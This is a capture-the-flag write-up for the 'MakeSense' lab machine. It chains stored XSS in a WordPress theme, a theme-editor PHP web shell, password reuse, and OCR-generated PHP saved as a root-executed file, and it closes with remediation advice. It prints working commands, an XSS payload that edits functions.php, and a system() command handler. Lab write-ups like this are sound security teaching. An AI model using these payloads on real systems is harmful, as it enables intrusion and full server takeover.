
Difficulty: Medium
MakeSense chains two trust-boundary failures. First, a custom WordPress theme accepts unauthenticated client-encrypted transcription data and renders it without output encoding in an administrator’s browser. Stored XSS can then ride the administrator’s session and edit the active theme for command execution as
www-data. A reused WordPress database password provides the Walter account. Finally, a root-owned OCR application allows recognized text to be saved with a user-selected
.php extension inside its own document root, producing root code execution.
Note: Flag values are intentionally redacted here. Their locations are
/home/walter/user.txt and
/root/root.txt.
Attack path at a glance
- Enumerate SSH and HTTPS; identify
makesense.htb and WordPress 7.0.
- Recover the custom theme’s public AES key and AJAX nonce.
- Store XSS in an encrypted transcription field.
- Use same-origin XSS to edit
functions.php as the administrator.
- Execute commands and obtain a shell as
www-data.
- Reuse the database password to become
walter.
- Tunnel to the root-owned OCR service on
127.0.0.1:8001.
- Make Tesseract recognize valid PHP, save it as
.php, and execute it as root.
Enumeration
ping -c 3 -W 2 10.129.246.24
nmap -Pn -n -p- --min-rate 1200 --max-retries 2 -T4 10.129.246.24
nmap -Pn -n -sC -sV -p22,443 --version-all 10.129.246.24
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
443/tcp open ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Agency LLC
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
The certificate supplied the virtual host. I avoided changing
/etc/hosts and used
curl --resolve:
curl -ksS --resolve makesense.htb:443:10.129.246.24 https://makesense.htb/
The home page loaded a custom
webagency theme and two especially interesting JavaScript files:
/wp-content/themes/webagency/assets/js/main.js
/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
whisper-wrapper.js disclosed the shared encryption secret:
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
The browser hashes that string with SHA-256 and uses AES-256-GCM to encrypt a JSON object containing
transcription and
summary. Because the key and WordPress AJAX nonce are public, any visitor can create a valid payload.
Initial access: stored XSS
The custom WordPress handler is registered for unauthenticated visitors, decrypts the payload, and saves both strings verbatim. The admin list then concatenates those values into HTML without
esc_html():
add_action('wp_ajax_nopriv_save_voice_results', 'webagency_save_voice_results');
echo '<div style="max-height: 100px; overflow-y: auto;">'
. $transcription . '</div>';
I first created a contact record and captured its returned post ID:
TARGET=10.129.246.24
nonce=$(curl -ksS --resolve makesense.htb:443:$TARGET https://makesense.htb/ \
| grep -o '"nonce":"[^"]*"' | head -1 | cut -d'"' -f4)
contact=$(curl -ksS --resolve makesense.htb:443:$TARGET \
https://makesense.htb/wp-admin/admin-ajax.php \
--data-urlencode action=submit_contact_form \
--data-urlencode "nonce=$nonce" \
--data-urlencode 'name=Project Review' \
--data-urlencode 'email=review@example.com' \
--data-urlencode 'message=Please review the generated summary.')
post_id=$(printf '%s' "$contact" | grep -o '"post_id":[0-9]*' | cut -d: -f2)
A beacon ran in the headless administrative browser about one minute later. The WordPress login cookie was
HttpOnly, so stealing
document.cookie was not useful. The XSS still had the administrator’s same-origin authority and could fetch admin pages.
The final payload requested the Theme Editor, extracted WordPress 7.0’s
nonce field, preserved the original
functions.php, and prepended a one-time command handler:
fetch('/wp-admin/theme-editor.php?file=functions.php&theme=webagency')
.then(r => r.text())
.then(html => {
const d = new DOMParser().parseFromString(html, 'text/html');
const nonce = d.querySelector('input[name="nonce"]').value;
const original = d.querySelector('textarea[name="newcontent"]').value;
if (original.includes("$_GET['mscmd']")) return;
const handler = "<?php if(isset($_GET['mscmd'])){system($_GET['mscmd']);exit;} ?>";
const body = new URLSearchParams({
nonce,
newcontent: handler + String.fromCharCode(10) + original,
action: 'update', file: 'functions.php', theme: 'webagency'
});
return fetch('/wp-admin/theme-editor.php', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body
});
});
The script was placed in the
transcription property and encrypted as
IV || ciphertext || GCM tag. After the admin rendered it, command execution was confirmed:
curl -ksS --resolve makesense.htb:443:$TARGET --get https://makesense.htb/ \
--data-urlencode 'mscmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
A
socat callback produced an interactive shell. The theme handler was removed immediately afterward, and the restored file passed
php -l and returned HTTP 200.
Walter and the user flag
wp-config.php contained a database credential matching a local Linux username:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'REDACTED' );
define( 'DB_HOST', 'localhost' );
The password was reused by the OS account:
su - walter
Password: REDACTED
walter@makesense:~$ id
uid=1000(walter) gid=1000(walter) groups=1000(walter)
The user flag was at
/home/walter/user.txt. Walter had no sudo privileges.
Privilege escalation: OCR output becomes root PHP
Local enumeration found a loopback-only PHP development server:
127.0.0.1:8001 LISTEN
root ... php -S 127.0.0.1:8001 -t /root/ocr4/
The service used Basic authentication, and the same Walter password worked again. I forwarded it over SSH:
ssh -N -L 18001:127.0.0.1:8001 walter@10.129.246.24
curl -u 'walter:REDACTED' http://127.0.0.1:18001/
The application accepts a base64 PNG, runs Tesseract as root, and stores the recognized string in the PHP session. Its “Save as” function sanitizes path separators and shell metacharacters, but allows arbitrary extensions and writes into
/root/ocr4/saved/—inside the active PHP document root:
$filename = basename($_POST['filename']);
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$filePath = $saveDir . '/' . $filename;
file_put_contents($filePath, $outputText);
I rendered a high-contrast monospace payload and previewed the OCR result before saving it:
magick -size 2100x240 xc:white -gravity center \
-font DejaVu-Sans-Mono -pointsize 58 -fill black \
-annotate +0+0 '<?php system("whoami; /usr/bin/id; cat /root/root.txt"); ?>' \
ocr-php-root.png
Tesseract reproduced the PHP exactly. The POST response supplied an
ocr_id; posting that ID with
filename=root-proof.php saved the recognized text. Requesting the new file executed it in the root server:
curl -u 'walter:REDACTED' \
http://127.0.0.1:18001/saved/root-proof.php
root
uid=0(root) gid=0(root) groups=0(root)
[root flag redacted]
A second exact OCR payload launched
socat, providing an interactive root shell. The root flag was at
/root/root.txt.
Dead ends and useful validation
- The authentication cookie could not be read because it was
HttpOnly; session riding was the correct XSS technique.
404.php was not editable, so functions.php was verified before use.
- WordPress 7.0 used
nonce, not _wpnonce, in the Theme Editor.
- OCR filename traversal was reduced to a basename and did not escape
saved/.
- Shell metacharacters in filenames were replaced with underscores; a harmless marker was not created.
- The first OCR attempt misread
$_GET as $ GET. Only an exact fixed-command recognition was saved.
Credentials
| Context |
Username |
Password |
Impact |
| WordPress database |
walter |
REDACTED |
Credential disclosed in web configuration |
| Linux account |
walter |
REDACTED |
User shell through password reuse |
| OCR Basic Auth |
walter |
REDACTED |
Access to the root-owned OCR service |
Remediation
- Escape contact messages, summaries, and transcriptions with
esc_html() before rendering them anywhere in WordPress admin.
- Remove unauthenticated write actions or enforce authentication, capability checks, post correlation, strict schemas, and size limits. A WordPress nonce is CSRF protection, not authorization.
- Remove the shared AES key from public JavaScript. Use TLS and authenticated server-side trust decisions.
- Set
DISALLOW_FILE_EDIT, deploy a restrictive admin CSP, and run automated review browsers with a dedicated low-privilege role.
- Rotate the exposed password and use unique credentials for the database, Linux account, and OCR service.
- Run Tesseract and the PHP service as an unprivileged account with filesystem and systemd sandboxing.
- Generate output filenames server-side, allow only
.txt, and store output outside the document root.
- Disable PHP/script execution in every upload or generated-output directory.